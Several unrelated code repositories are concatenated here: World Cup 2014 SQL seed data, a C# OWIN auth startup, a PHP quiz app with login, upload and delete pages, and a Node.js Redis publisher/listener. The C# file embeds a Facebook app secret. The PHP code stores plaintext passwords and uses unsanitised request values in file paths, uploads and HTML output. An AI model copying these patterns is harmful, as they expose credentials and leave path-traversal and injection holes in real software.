'Italy.png') --insert into Teams values ('Switzerland', 'E', 'Switzerland.png') --insert into Teams values ('Ecuador', 'E', 'Ecuador.png') --insert into Teams values ('France', 'E', 'France.png') --insert into Teams values ('Honduras', 'E', 'Honduras.png') --insert into Teams values ('Argentina', 'F', 'Argentina.png') --insert into Teams values ('Bosnia And Herzegovina', 'F', 'Bosnia-and-Herzegovina.png') --insert into Teams values ('Iran', 'F', 'Iran.png') --insert into Teams values ('Nigeria', 'F', 'Nigeria.png') --insert into Teams values ('Germany', 'G', 'Germany.png') --insert into Teams values ('Portugal', 'G', 'Portugal.png') --insert into Teams values ('Ghana', 'G', 'Ghana.png') --insert into Teams values ('USA', 'G', 'United-States.png') --insert into Teams values ('Belgium', 'H', 'Belgium.png') --insert into Teams values ('Algeria', 'H', 'Algeria.png') --insert into Teams values ('Russia', 'H', 'Russia.png') --insert into Teams values ('Korea Republic', 'H', 'South-Korea.png') --exec AddMatch @on='Jun 12 2014 17:00', @team1='Brazil', @team2='Croatia', @venue='Arena de São Paulo', @city='São Paulo' --exec AddMatch @on='Jun 13 2014 13:00', @team1='Mexico', @team2='Cameroon', @venue='Estádio das Dunas', @city='Natal' --exec AddMatch @on='Jun 17 2014 16:00', @team1='Brazil', @team2='Mexico', @venue='Estádio Castelão', @city='Fortaleza' --exec AddMatch @on='Jun 18 2014 18:00', @team1='Cameroon', @team2='Croatia', @venue='Arena Amazônia', @city='Manaus' --exec AddMatch @on='Jun 23 2014 17:00', @team1='Cameroon', @team2='Brazil', @venue='Estadio Nacional', @city='Brasília' --exec AddMatch @on='Jun 23 2014 17:00', @team1='Croatia', @team2='Mexico', @venue='Arena Pernambuco', @city='Recife' --exec AddMatch @on='Jun 13 2014 16:00', @team1='Spain', @team2='Netherlands', @venue='Arena Fonte Nova', @city='Salvador' --exec AddMatch @on='Jun 13 2014 18:00', @team1='Chile', @team2='Australia', @venue='Arena Pantanal', @city='Cuiabá' --exec AddMatch @on='Jun 18 2014 16:00', @team1='Spain', @team2='Chile', @venue='Estádio do Maracanã', @city='Rio de Janeiro' --exec AddMatch @on='Jun 18 2014 13:00', @team1='Australia', @team2='Netherlands', @venue='Estádio Beira-Rio', @city='Porto Alegre' --exec AddMatch @on='Jun 23 2014 13:00', @team1='Australia', @team2='Spain', @venue='Arena da Baixada', @city='Curitiba' --exec AddMatch @on='Jun 23 2014 13:00', @team1='Netherlands', @team2='Chile', @venue='Arena de Sao Paulo', @city='São Paulo' --exec AddMatch @on='Jun 14 2014 13:00', @team1='Colombia', @team2='Greece', @venue='Estádio Mineirão', @city='Belo Horizonte' --exec AddMatch @on='Jun 14 2014 22:00', @team1='Cote''dIvoire', @team2='Japan', @venue='Arena Pernambuco', @city='Recife' --exec AddMatch @on='Jun 19 2014 13:00', @team1='Colombia', @team2='Cote''dIvoire', @venue='Estádio Nacional Mané Garrincha', @city='Brasília' --exec AddMatch @on='Jun 19 2014 19:00', @team1='Japan', @team2='Greece', @venue='Estádio das Dunas', @city='Natal' --exec AddMatch @on='Jun 24 2014 16:00', @team1='Japan', @team2='Colombia', @venue='Arena Pantanal', @city='Cuiabá' --exec AddMatch @on='Jun 24 2014 17:00', @team1='Cote''dIvoire', @team2='Greece', @venue='Estadio Castelao', @city='Fortaleza' --exec AddMatch @on='Jun 14 2014 16:00', @team1='Uruguay', @team2='<NAME>', @venue='Estádio Castelão', @city='Fortaleza' --exec AddMatch @on='Jun 14 2014 18:00', @team1='England', @team2='Italy', @venue='Arena Amazônia', @city='Manaus' --exec AddMatch @on='Jun 19 2014 16:00', @team1='Uruguay', @team2='England', @venue='Arena de São Paulo', @city='São Paulo' --exec AddMatch @on='Jun 20 2014 13:00', @team1='Italy', @team2='<NAME>', @venue='Arena Pernambuco', @city='Recife' --exec AddMatch @on='Jun 24 2014 13:00', @team1='Italy', @team2='Uruguay', @venue='Estadio das Dunas', @city='Natal' --exec AddMatch @on='Jun 24 2014 13:00', @team1='<NAME>', @team2='England', @venue='Estadio Mineirao', @city='Be<NAME>' --exec AddMatch @on='Jun 15 2014 13:00', @team1='Switzerland', @team2='Ecuador', @venue='Estádio Nacional Mané Garrincha', @city='Brasília' --exec AddMatch @on='Jun 15 2014 16:00', @team1='France', @team2='Honduras', @venue='Estádio Beira-Rio', @city='Porto Alegre' --exec AddMatch @on='Jun 20 2014 16:00', @team1='Switzerland', @team2='France', @venue='Arena Fonte Nova', @city='Salvador' --exec AddMatch @on='Jun 20 2014 19:00', @team1='Honduras', @team2='Ecuador', @venue='Arena da Baixada', @city='Curitiba' --exec AddMatch @on='Jun 25 2014 16:00', @team1='Honduras', @team2='Switzerland', @venue='Arena Amazonia', @city='Manaus' --exec AddMatch @on='Jun 25 2014 17:00', @team1='Ecuador', @team2='France', @venue='Maracanã', @city='Rio de Janeiro' --exec AddMatch @on='Jun 15 2014 19:00', @team1='Argentina', @team2='Bosnia And Herzegovina', @venue='Estádio do Maracanã', @city='Rio de Janeiro' --exec AddMatch @on='Jun 16 2014 16:00', @team1='Iran', @team2='Nigeria', @venue='Arena da Baixada', @city='Curitiba' --exec AddMatch @on='Jun 21 2014 13:00', @team1='Argentina', @team2='Iran', @venue='Estádio Mineirão', @city='Belo Horizonte' --exec AddMatch @on='Jun 21 2014 18:00', @team1='Nigeria', @team2='Bosnia And Herzegovina', @venue='Arena Pantanal', @city='Cuiabá' --exec AddMatch @on='Jun 25 2014 13:00', @team1='Nigeria', @team2='Argentina', @venue='Estadio Beira-Rio', @city='Porto Alegre' --exec AddMatch @on='Jun 25 2014 13:00', @team1='Bosnia And Herzegovina', @team2='Iran', @venue='Arena Fonte Nova', @city='Salvador' --exec AddMatch @on='Jun 16 2014 13:00', @team1='Germany', @team2='Portugal', @venue='Arena Fonte Nova', @city='Salvador' --exec AddMatch @on='Jun 16 2014 19:00', @team1='Ghana', @team2='USA', @venue='Estádio das Dunas', @city='Natal' --exec AddMatch @on='Jun 21 2014 16:00', @team1='Germany', @team2='Ghana', @venue='Estadio Castelao', @city='Fortaleza' --exec AddMatch @on='Jun 22 2014 18:00', @team1='USA', @team2='Portugal', @venue='Arena Amazonia', @city='Manaus' --exec AddMatch @on='Jun 26 2014 13:00', @team1='USA', @team2='Germany', @venue='Arena Pernambuco', @city='Recife' --exec AddMatch @on='Jun 26 2014 13:00', @team1='Portugal', @team2='Ghana', @venue='Estadio Nacional', @city='Brasília' --exec AddMatch @on='Jun 17 2014 13:00', @team1='Belgium', @team2='Algeria', @venue='Estádio Mineirão', @city='Belo Horizonte' --exec AddMatch @on='Jun 17 2014 18:00', @team1='Russia', @team2='Korea Republic', @venue='Arena Pantanal', @city='Cuiabá' --exec AddMatch @on='Jun 22 2014 13:00', @team1='Belgium', @team2='Russia', @venue='Maracanã', @city='Rio de Janeiro' --exec AddMatch @on='Jun 22 2014 16:00', @team1='Korea Republic', @team2='Algeria', @venue='Estadio Beira-Rio', @city='Porto Alegre' --exec AddMatch @on='Jun 26 2014 17:00', @team1='Korea Republic', @team2='Belgium', @venue='Arena de Sao Paulo', @city='São Paulo' --exec AddMatch @on='Jun 26 2014 17:00', @team1='Algeria', @team2='Russia', @venue='Arena da Baixada', @city='Curitiba' select * from matches<file_sep>using Microsoft.AspNet.Identity; using Microsoft.Owin; using Microsoft.Owin.Security.Cookies; using Microsoft.Owin.Security.Facebook; using Owin; namespace WCF { public partial class Startup { // For more information on configuring authentication, please visit http://go.microsoft.com/fwlink/?LinkId=301864 public void ConfigureAuth(IAppBuilder app) { // Enable the application to use a cookie to store information for the signed in user app.UseCookieAuthentication(new CookieAuthenticationOptions { AuthenticationType = DefaultAuthenticationTypes.ApplicationCookie, LoginPath = new PathString("/Account/Login") }); // Use a cookie to temporarily store information about a user logging in with a third party login provider app.UseExternalSignInCookie(DefaultAuthenticationTypes.ExternalCookie); // Uncomment the following lines to enable logging in with third party login providers //app.UseMicrosoftAccountAuthentication( // clientId: "", // clientSecret: ""); //app.UseTwitterAuthentication( // consumerKey: "", // consumerSecret: ""); var fbOptions = new FacebookAuthenticationOptions(); fbOptions.AppId = "627589013997651"; fbOptions.AppSecret = "1dacc1908658860a410c2f55eb137914"; fbOptions.Scope.Add("email"); fbOptions.Provider = new FacebookAuthenticationProvider() { OnAuthenticated = async context => { foreach (var claim in context.User) { var claimType = string.Format("urn:facebook:{0}", claim.Key); string claimValue = claim.Value.ToString(); System.Diagnostics.Debug.WriteLine("{0} - {1}", claimType, claimValue); if (!context.Identity.HasClaim(claimType, claimValue)) context.Identity.AddClaim(new System.Security.Claims.Claim(claimType, claimValue, "XmlSchemaString", "Facebook")); } } }; app.UseFacebookAuthentication(fbOptions); //app.UseGoogleAuthentication(); } } }
d9056bffb5986b3bc7f6865a50d0f23beca30799
[ "JavaScript", "C#", "SQL" ]
20
JavaScript
mithun-daa/Wcf
27be8194159e8f2e4f95e03fd6cc62cc9efba692
ba4a8d4df6d230c1dd62da3e0f33983317af96cf
refs/heads/master
<file_sep><?php /* * * * * * * Стартовая страница. * Проводит авторизацию пользователей и гостей. * Функция * - check_fields - проверяет корректность заполнения полей и выдает уровни доступа * * * * * */ require_once('login.php'); if(isset($_POST['username'])){ check_fields($_POST['username'], $_POST['password']); } ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Авторизация</title> </head> <body> <form method="post"> <label>Ваше имя: <input type="text" name="username"></label><br><br> <label>Пароль:<input type="<PASSWORD>" name="password"></label><br><br> <input type="submit" value="Login"> </form> </body> </html> <file_sep><?php /* * * * * * * Скрипт для авторизации пользователя. * Функции: * - login - проверяет совпадение логина и пароля с данными * уже зарегистрированных пользователей * - check_post - проверяет метод передачи данных на сервер * - check_fields - проверяет правильность заполнения полей * - give_access - присваиваивает пользователю уровень доступа * * * * * */ session_start(); require_once('Redirect.php'); function login($username, $userpassword) { $users = file_get_contents('users.json'); $users = json_decode($users, true); foreach ($users as $login => $pass) { if($username === $login && $userpassword === $pass){ return true; } elseif ($username === $login && empty($userpassword)) { echo "<script>alert('Такой пользователь уже существует')</script>"; return $username; } elseif ($username === $login && $userpassword !== $pass) { echo "<script>alert('Неверный пароль')</script>"; } } return false; } function check_post() { return $_SERVER['REQUEST_METHOD'] == "POST"; } function check_fields($username,$userpass) { if (check_post()){ $result = login($username,$userpass); if (empty($username)) { echo "<script>alert('Необходимо ввсти имя')</script>"; } elseif ($result === true){ give_access($username, '1'); } elseif (!empty($username) && empty($userpass) && $result !== $username){ give_access($username, '0'); } } } function give_access($username, $status) { $_SESSION['root'] = $status; $_SESSION['username'] = $username; redirect("list.php"); } ?> <file_sep><?php /* * * * * * * Скрипт для удаления теста. * Позволяет авторизированным пользователям удалить тест. * Доступ для гостей закрыт. * Функции: * - delete_test - проверяет статус пользователя и удаляет запрашиваемый файл * - check_test - проверяет наличие выбранного теста и возвращаяет путь к файлу * - redirect - перенаправляет на другу страницу * * * * * */ require_once('test.php'); require_once('Redirect.php'); function delete_test($file) { if ($_SESSION['root'] == 1){ unlink($file); file_put_contents('log.txt', $_SESSION['username']." удалил $file", FILE_APPEND); } else { header($_SERVER['SERVER_PROTOCOL'].'403 Forbidden'); echo"<H1>403 Forbidden</H1>"; exit(); } } $path = check_test(); delete_test($path); redirect('list.php'); <file_sep><?php /* * * * * * * Скрипт для вывода списка доступных тестов. * Позволяет перейти к выбранному тесту, либо перейти к удалению его * * * * * */ require_once('Redirect.php'); session_start(); if (!isset($_SESSION['root'])){ redirect('index.php'); } echo "<h1>Список доступных тестов:</h1>"; // Находим все JSON файлы в папке Tests $tests = glob("Tests/*.json"); if(!empty($tests)){ foreach ($tests as $file) { // Получаем имя файла $file = basename($file,".json"); //Создаем ссылку для прохождения этого теста echo "<br><a href=\"test.php?t=$file\">$file</a>"; if ($_SESSION['root']=='1'){ echo " | "; echo "<a href=\"delete_test.php?t=$file\">Удалить $file</a>"; } } } else { echo "Доступных тестов нет"; } if ($_SESSION['root'] == '1'){ echo "<br><a href=\"admin.php\">Загрузить тест</a>"; } echo "<br><a href=\"exit.php\">Выйти</a>"; <file_sep><?php /* * * * * * * Скрипт для деавторизации пользователя. * Функция * redirect - перенаправляет на другу страницу * * * * * */ require_once('Redirect.php'); session_destroy(); redirect('index.php'); <file_sep><?php /* * * * * * * Страница admin. * Позволяет авторизированным пользователям загрузить новый тест. * Доступ для гостей закрыт. * * * * * */ session_start(); if ($_SESSION['root'] != '1'){ header($_SERVER['SERVER_PROTOCOL'].' 403 Forbidden'); echo"<H1>403 Forbidden</H1>"; exit(); } else{ require_once('Redirect.php'); // Обрабатываем загруженный файл if(isset($_FILES['userfile'])){ $file = $_FILES['userfile']; $path = $file['name']; // Если файл JSON, то сохраняем его в папку с тестами if(pathinfo($file['name'])['extension'] === 'json'){ if (move_uploaded_file($file['tmp_name'], "Tests/".$path)) { file_put_contents('log.txt', $_SESSION['username']." добавил $file", FILE_APPEND); // После успешной загрузки файла перенаправляем на список тестов redirect('list.php'); } else { echo "Произошла ошибка при загрузке файла"; } } // иначе выдаем сообщение об ошибке else { echo "Загружен неверный файл"; } } } ?> <!-- Форма admin для загрузки новых тестов --> <!DOCTYPE html> <meta charset="utf-8"> <!-- Форма загрузки теста --> <form method="post" enctype="multipart/form-data" name="upload_form" action="admin.php"> <input type="file" name="userfile"> <input type="submit" value="UPLOAD"> </form> <br> <!-- Ссылка для возврата к списку тестов --> <a href="list.php">Перейти к списку тестов</a> <file_sep><?php /* * * * * * * Функции для обработки теста. * Получает имя из данных сессии. * Функции: * - build_test - выводит тест в виде HTML * - check_answers - проверяет правильность ответов * - create_diploma - создает картинку с результатами теста * * * * * */ function build_test($path) { $json = file_get_contents($path); $json = json_decode($json, true); $count_questions = count($json); echo "<h2>Тест ".basename($path, '.json')."</h2>"; echo "<h3>Ваше имя: ".$_SESSION['username']."</h3>"; ?> <form action="" method="POST"> <?php foreach ($json as $name => $question) { echo "<fieldset>".PHP_EOL."<legend>"; echo $question["question"]."</legend>"; foreach ($question['answers'] as $key => $answer) { echo "<label><input type=\"radio\" name=\"$name\" value=\"$answer\">$answer</label>".PHP_EOL; } echo PHP_EOL."</fieldset>"; }?> <input type="submit" value="Отправить"> </form> <!-- Ссылка для возврата к списку тестов --> <a href="list.php">Перейти к списку тестов</a><br> <?php return check_answers($count_questions, $json); } function create_diploma($name, $points, $test) { if (!empty($name) && !empty($points)) { //require_once('Redirect.php'); $text = "Поздравляем, $name" . PHP_EOL . "Ваши баллы:" . strval($points); $image = imagecreatetruecolor(250, 250); $backcolor = imagecolorallocate($image, 255, 224, 221); $textcolor = imagecolorallocate($image, 129, 15, 90); $fontFile = __DIR__ . '/assets/font.ttf'; if (!file_exists($fontFile)) { echo "Файл шрифта не найден"; exit; } $imBox = imagecreatefrompng(__DIR__ . '/assets/trophy.png'); imagefill($image, 0, 0, $backcolor); imagecopy($image, $imBox, 50, 50, 0, 0, 120, 120); imagettftext($image, 18, 0, 15, 100, $textcolor, $fontFile, $text); imagejpeg($image, 'cert.jpeg'); header('Location: test.php?t='.$test); } } function send_diploma() { if (file_exists('cert.jpeg')){ header('Content-Type: image/jpeg'); // Вывод картинки в теле страницы вместо отправки через заголовок readfile('cert.jpeg'); //imagepng('cert.jpeg'); //imagedestroy('cert.jpeg'); unlink('cert.jpeg'); } } function check_answers($count_questions, $json) { /* Обработка ответов */ // Получаем переданные ответы $answers = $_REQUEST; $username = null; $point = null; // Убираем номер теста, оставляем только ответы на вопросы unset($answers['t']); if (isset($answers['username'])) { $username = $answers['username']; unset($answers['username']); } // Если массив ответов не пуст, и число ответов равно числу вопросов // подсчитываем число верных ответов if (!empty($answers) && ($count_questions == count($answers)) && !empty($_SESSION['username'])) { $point = 0; // Проверяем ответы на каждый вопрос foreach ($answers as $question => $answer) { if ($json[$question]['correct'] == $answer) { $point += 1; } } } // Если есть пустые поля - говорим об этом пользователю else { echo "<script>alert('Необходимо заполнить все поля')</script>"; } return array($_SESSION['username'], $point); } <file_sep><?php /* * * * * * * Скрипт для переадресации пользователя. * Функции: * - redirect - отправляет новый заголовок HTTP с адресом для переадресации * * * * * */ function redirect($page){ header("Location: $page"); exit; } <file_sep><?php /* * * * * * * Страница для прохождения теста. * Функции: * - build_test - выводит тест в виде HTML * - check_answers - проверяет правильность ответов * - create_diploma - создает картинку с результатами тест * - check_test - проверяет наличие файла с тестом * * * * * */ require_once('Redirect.php'); session_start(); if (!isset($_SESSION['root'])){ redirect('index.php'); } // Проверяем переданное название теста function check_test() { $test = $_GET['t']; // Если не передан параметр t, то выдаем ошибку 400 if (empty($test)) { // в случае неверных параметров - возвращаем к списку тестов //var_dump($_SERVER); header($_SERVER['SERVER_PROTOCOL'].' 400 Bad request'); exit(1); } // Составляем путь до файла $path = "Tests/$test.json"; // Если файл не существует - выдаем ошибку 404 if (!file_exists($path)){ header($_SERVER['SERVER_PROTOCOL'].' 404 Not found'); exit(1); } // Возвращаем путь к тесту return $path; } require_once('funcs_for_test.php'); send_diploma(); $path_to_test = check_test(); list($name, $points) = build_test($path_to_test); create_diploma($name, $points, $_GET['t']);
374bb8e8adce80d5e95614d360f789afce419c11
[ "PHP" ]
9
PHP
mrNoBoDy1042/PHP-17_Homework_2.4
164db73d62d16244671dc4cea3da7e7bbaa9db6d
50d56be160f5a3d10976157d7dadde632bf24c8f
refs/heads/master
<repo_name>s117/muparser-2.2.5-hacked<file_sep>/build/msvc2013/InitializeMU.cpp #include "muParser.h" using namespace std; using namespace mu; /* Mathematic */ static value_type Add(value_type v1, value_type v2) { return v1 + v2; } // + level 9 L2R STABLE static value_type Sub(value_type v1, value_type v2) { return v1 - v2; } // - level 9 L2R STABLE static value_type Mul(value_type v1, value_type v2) { return v1 * v2; } // * level 10 L2R STABLE static value_type Div(value_type v1, value_type v2) { return v1 / v2; } // / level 10 L2R STABLE static value_type Mod(value_type v1, value_type v2) { return (signed)v1 % (signed)v2; } // % level 10 L2R STABLE /* Bitwise */ static value_type BNot(value_type v) { return ~(unsigned)v; } // ~ level 11 R2L STABLE static value_type BAnd(value_type v1, value_type v2) { return (unsigned)v1 & (unsigned)v2; } // & level 5 L2R STABLE static value_type BOr(value_type v1, value_type v2) { return (unsigned)v1 | (unsigned)v2; } // | level 3 L2R STABLE static value_type BXor(value_type v1, value_type v2) { return (unsigned)v1 ^ (unsigned)v2; } // ^ level 4 L2R STABLE static value_type BSHL(value_type v1, value_type v2) { return (unsigned)v1 << (unsigned)v2; } // << level 8 L2R STABLE static value_type BSHR(value_type v1, value_type v2) { return (unsigned)v1 >> (unsigned)v2; } // >>> level 8 L2R STABLE static value_type BSAR(value_type v1, value_type v2) { return (signed)v1 >> (signed)v2; } // >> level 8 L2R STABLE /* Logic */ static value_type LNot(value_type v) { return !(unsigned)v; } // ! level 11 R2L STABLE static value_type LAnd(value_type v1, value_type v2) { return (unsigned)v1 && (unsigned)v2; } // && level 2 L2R STABLE static value_type LOr(value_type v1, value_type v2) { return (unsigned)v1 || (unsigned)v2; } // || level 1 L2R STABLE static value_type LE(value_type v1, value_type v2) { return v1 == v2; } // == level 6 L2R STABLE static value_type LNE(value_type v1, value_type v2) { return v1 != v2; } // != level 6 L2R STABLE static value_type LL(value_type v1, value_type v2) { return v1 < v2; } // < level 7 L2R STABLE static value_type LLE(value_type v1, value_type v2) { return v1 <= v2; } // <= level 7 L2R STABLE static value_type LG(value_type v1, value_type v2) { return v1 > v2; } // > level 7 L2R STABLE static value_type LGE(value_type v1, value_type v2) { return v1 >= v2; } // >= level 7 L2R STABLE /* MISC */ // Random static value_type Rnd(value_type v) { return v*std::rand() / (value_type)(RAND_MAX + 1.0); } // @ level 11 R2L UNSTABLE void Initialize(mu::Parser *parser) { parser->DefineOprt(_T("+"), Add, 9, oaLEFT, true); // + level 9 L2R STABLE parser->DefineOprt(_T("-"), Sub, 9, oaLEFT, true); // - level 9 L2R STABLE parser->DefineOprt(_T("*"), Mul, 10, oaLEFT, true); // * level 10 L2R STABLE parser->DefineOprt(_T("/"), Div, 10, oaLEFT, true); // / level 10 L2R STABLE parser->DefineOprt(_T("%"), Mod, 10, oaLEFT, true); // % level 10 L2R STABLE parser->DefineInfixOprt(_T("~"), BNot, 11, true); // ~ level 11 R2L STABLE parser->DefineOprt(_T("&"), BAnd, 5, oaLEFT, true); // & level 5 L2R STABLE parser->DefineOprt(_T("|"), BOr, 3, oaLEFT, true); // | level 3 L2R STABLE parser->DefineOprt(_T("^"), BXor, 4, oaLEFT, true); // ^ level 4 L2R STABLE parser->DefineOprt(_T("<<"), BSHL, 8, oaLEFT, true); // << level 8 L2R STABLE parser->DefineOprt(_T(">>>"), BSHR, 8, oaLEFT, true); // >>> level 8 L2R STABLE parser->DefineOprt(_T(">>"), BSAR, 8, oaLEFT, true); // >> level 8 L2R STABLE parser->DefineInfixOprt(_T("!"), LNot, 11, true); // ! level 11 R2L STABLE parser->DefineOprt(_T("&&"), LAnd, 2, oaLEFT, true); // && level 2 L2R STABLE parser->DefineOprt(_T("||"), LOr, 1, oaLEFT, true); // || level 1 L2R STABLE parser->DefineOprt(_T("=="), LE, 6, oaLEFT, true); // == level 6 L2R STABLE parser->DefineOprt(_T("!="), LNE, 6, oaLEFT, true); // != level 6 L2R STABLE parser->DefineOprt(_T("<"), LL, 7, oaLEFT, true); // < level 7 L2R STABLE parser->DefineOprt(_T("<="), LLE, 7, oaLEFT, true); // <= level 7 L2R STABLE parser->DefineOprt(_T(">"), LG, 7, oaLEFT, true); // > level 7 L2R STABLE parser->DefineOprt(_T(">="), LGE, 7, oaLEFT, true); // >= level 7 L2R STABLE parser->DefineInfixOprt(_T("@"), Rnd, 11, false); // @ level 11 R2L UNSTABLE }
409158e807c7fbdb10f630314b82f2515b2fe234
[ "C++" ]
1
C++
s117/muparser-2.2.5-hacked
635d2f3cf89fdf9e0c9deaf41a218dbd90fd173c
2ee821c97b1b772322a8399a380d89ef7931f7aa
refs/heads/master
<file_sep>def containerType(brack) if brack == '(' or brack == ')' return 1 elsif brack == '{' or brack == "}" return 2 elsif brack == "[" or brack == "]" return 3 end end def isBalanced(string) balance = [] string.each_char do |i| if i == '(' or i == '[' or i == '{' balance.push(i) puts "balance stack now: #{balance}" elsif i == ')' or i == ']' or i == '}' #puts "comparing #{i} and #{balance.last}" if containerType(i) != containerType(balance.last) or balance.empty? return false else balance.pop puts "balance stack now: #{balance}" end end end if balance.empty? return true else return false end end input = "" puts "Please enter string to check if balanced" input = gets.chomp puts isBalanced(input)<file_sep>## Parentheses Balancer: This is my implementation of a parentheses balancer using a stack.
e23b33186ff2a006148e902d5bb16713485513dd
[ "Markdown", "Ruby" ]
2
Ruby
bydavid/Parantheses-Balancer
e7eb4cedd293b17dbad075bf458a30c0d4177b48
474dd5394821b29ead769eb32b2dd4dec2fcab24
refs/heads/master
<file_sep>var EventEmitter = require('events').EventEmitter, util = require('util'); /** * Компонент вывода ошибок * * @param logger * @param mediator * @constructor * * Events: * module:errors:getErrors - запрашивает ошибки * module:errors:receiveErrors - получает ответ */ var ErrorsReader = function (logger, mediator) { this.logger = logger; this.mediator = mediator instanceof EventEmitter && mediator || this; this.config = {}; this.mediator.on('module:errors:receiveErrors', this.proceed.bind(this)); }; util.inherits(ErrorsReader, EventEmitter); ErrorsReader.prototype.init = function (config, cb) { this.config = config || {}; this.getErrors(); (typeof cb == 'function') && cb(); }; ErrorsReader.prototype.getErrors = function () { this.mediator.emit('module:errors:getErrors'); }; ErrorsReader.prototype.proceed = function (result) { result.forEach(function(item) { this.logger.info('error: ', item); }.bind(this)); this.mediator.emit('application:shutdown'); }; exports.ErrorsReader = ErrorsReader;<file_sep>var redis = require('redis'), events = require('events'), util = require('util'), logger = require('./../logger').plugin; var RedisTransport = function (options, callback) { this.clients = {}; this.options = options; this.init(options, callback); }; util.inherits(RedisTransport, events.EventEmitter); RedisTransport.prototype.init = function (options, callback) { this.connect('subscriber', callback); this.connect('publisher'); }; RedisTransport.prototype.connect = function (role, callback) { this.clients[role] = redis.createClient(this.options.port, this.options.host); this.clients[role].on("error", function (err) { console.error("Redis error " + err.stack); }); this.clients[role].select(this.options.db, function(){ typeof callback == 'function' && callback(); }); this.clients[role].on('message', function(channel, data){ try { var object = JSON.parse(data); this.emit(channel, object); } catch(e) { logger.error('Redis parse error: ', e); } }.bind(this)); }; RedisTransport.prototype.set = function(key, value, callback) { this.clients['subscriber'].set(key, JSON.stringify(value), function(err, data){ typeof callback == 'function' && callback(err, data); }); }; RedisTransport.prototype.get = function(key, callback) { this.clients['subscriber'].get(key, function(err, data){ if (!err) { try { data = JSON.parse(data); } catch (e) { err = new Error('Invalid data', data); } } typeof callback == 'function' && callback(err, data); }); }; RedisTransport.prototype.expire = function(key, seconds) { this.clients['publisher'].expire(key, seconds); }; RedisTransport.prototype.publish = function(channel, data) { this.clients['publisher'].publish(channel, data); }; RedisTransport.prototype.subscribe = function(channel, callback) { this.on(channel, callback); this.clients['subscriber'].subscribe(channel); }; /* Пользуемся однопоточностью редиса, чтобы избежать race condition */ RedisTransport.prototype.incr = function(key, callback) { this.clients['publisher'].incr(key, function (err, result) { (typeof callback == 'function') && callback(result); }); }; RedisTransport.prototype.sadd = function(key, value, callback) { this.clients['publisher'].sadd(key, value, callback); }; RedisTransport.prototype.smembers = function(key, callback) { this.clients['publisher'].smembers(key, callback); }; module.exports = RedisTransport;<file_sep>var EventEmitter = require('events').EventEmitter, util = require('util'); /** * Компонент генератора - публикует сообщения * * @param logger * @param mediator * @constructor * * Events: * module:generator:registerChangeRole - попытка заявить себя генератором * module:generator:proceedProcess - успешная попыта, продолжить сценарий */ var Generator = function (logger, mediator) { this.logger = logger; this.mediator = mediator instanceof EventEmitter && mediator || this; this.config = {}; this.mediator.on('module:listener:heartbeatTimedOut', this.runGenerator.bind(this)); this.mediator.on('module:generator:proceedProcess', this.proceed.bind(this)); }; util.inherits(Generator, EventEmitter); Generator.prototype.init = function (config, cb) { this.config = config || {}; (typeof cb == 'function') && cb(); }; Generator.prototype.runGenerator = function () { this.mediator.emit('module:generator:registerChangeRole'); }; Generator.prototype.proceed = function () { this.mediator.emit('application:change_role', 'generator'); setInterval(this.publishMessage.bind(this), this.config.interval); }; Generator.prototype.publishMessage = function () { var message = this.getMessage(); this.logger.debug('push message: ', message); this.mediator.emit('publish', 'message', message); }; // функция из задания, без изменений Generator.prototype.getMessage = function () { this.cnt = this.cnt || 0; return this.cnt++; }; exports.Generator = Generator;<file_sep>var EventEmitter = require('events').EventEmitter, util = require('util'); /** * Компонент Слушатель * * @param logger * @param mediator * @constructor * * Events: * message - новое сообщение * module:listener:registerProcess - попытка начать обработку сообщения * module:listener:proceedProcess - успешная попытка, обрабатываем */ var Listener = function (logger, mediator) { this.logger = logger; this.mediator = mediator instanceof EventEmitter && mediator || this; this.config = {}; this.handleMessageLink = this.handleMessage.bind(this); this.mediator.on('message', this.handleMessageLink); this.mediator.on('application:change_role', this.switchRole.bind(this)); this.mediator.on('module:listener:proceedProcess', this.proceed.bind(this)); }; util.inherits(Listener, EventEmitter); Listener.prototype.init = function (config, cb) { this.config = config || {}; this.checkHeartbeat(); (typeof cb == 'function') && cb(); this.logger.info('Current role: listener'); }; Listener.prototype.switchRole = function (role) { switch (role) { case 'generator': this.mediator.removeListener('message', this.handleMessageLink); break; case 'listener': break; } }; Listener.prototype.handleMessage = function (message) { this.checkHeartbeat(); this.mediator.emit('module:listener:registerProcess', message); }; Listener.prototype.proceed = function (message) { this.logger.debug('receive message:', message); this.eventHandler(message, function (err, msg) { if (err) this.mediator.emit('module:listener:error', msg); }.bind(this)); }; // функция из задания, без изменений Listener.prototype.eventHandler = function(msg, callback){ function onComplete(){ var error = Math.random() > 0.85; callback(error, msg); } setTimeout(onComplete, Math.floor(Math.random()*1000)); }; Listener.prototype.checkHeartbeat = function () { clearTimeout(this.timer); this.timer = setTimeout(this.releaseHeartbeat.bind(this), this.config.heartbeatInterval); }; Listener.prototype.releaseHeartbeat = function () { this.mediator.emit('module:listener:heartbeatTimedOut'); }; exports.Listener = Listener;<file_sep>#!/bin/sh NODE_PATH="/usr/lib/node_modules" env NODE_PATH=$NODE_PATH node ./../bin/app.js --config=../configs/development.json --getErrors<file_sep># Usage Clone this repository: ``` bash git clone https://github.com/abdusalamov/one-two-trip-test-task.git ``` Install all dependencies: ``` bash npm install ``` You are done, run *./run.sh* ``` bash cd bin chmod +x run.sh ./run.sh ``` <file_sep>'use strict'; var config = exports; /** * Чтение файла конфига из аргументов командной строки * @return {*} */ config.load = function(callback) { var configFilePath; for (var i = 0; i < process.argv.length; i++) { var value = process.argv[i]; if (value.indexOf('--config=') != -1) { configFilePath = value.substr(9); } } if (configFilePath == undefined) { console.error('Failed to start application: config option is not set. Check required option --config="...".'); process.exit(1); } var result = config.loadConfigFile(configFilePath); typeof callback == 'function' && callback(result); }; config.loadConfigFile = function(file) { var msg = '| Loading file from "' + file + '" |'; var div = new Array(msg.length - 1).join('-'); console.log('+' + div + '+' + "\n" + msg + "\n" + '+' + div + '+'); return JSON.parse(require('fs').readFileSync(file)); };<file_sep>var Transports = function (options, callback) { this.options = options; //this.redis = new (require('./transports/redis'))(options.redis, callback); this.transports = {}; this.init(callback); }; Transports.prototype.init = function (callback) { for (var key in this.options) { if (this.options.hasOwnProperty(key)) { this.transports[key] = new (require('./transports/'+this.options[key].transport))(this.options[key]); } } //TODO: вызвать после инициализации всех транспортов callback(this.transports); }; module.exports = Transports;<file_sep>/** * Logger plugin */ var _ = require('underscore'); var util = require('util'); var events = require('events'); var Logger = function() { this.level = null; this.defaultLevel = 'info'; }; util.inherits(Logger, events.EventEmitter); Logger.prototype.log = function(level, messages) { this.checkLevel(); var output = []; if (!_.isObject(messages)) { messages = {0: messages}; } for (var i in messages) { if 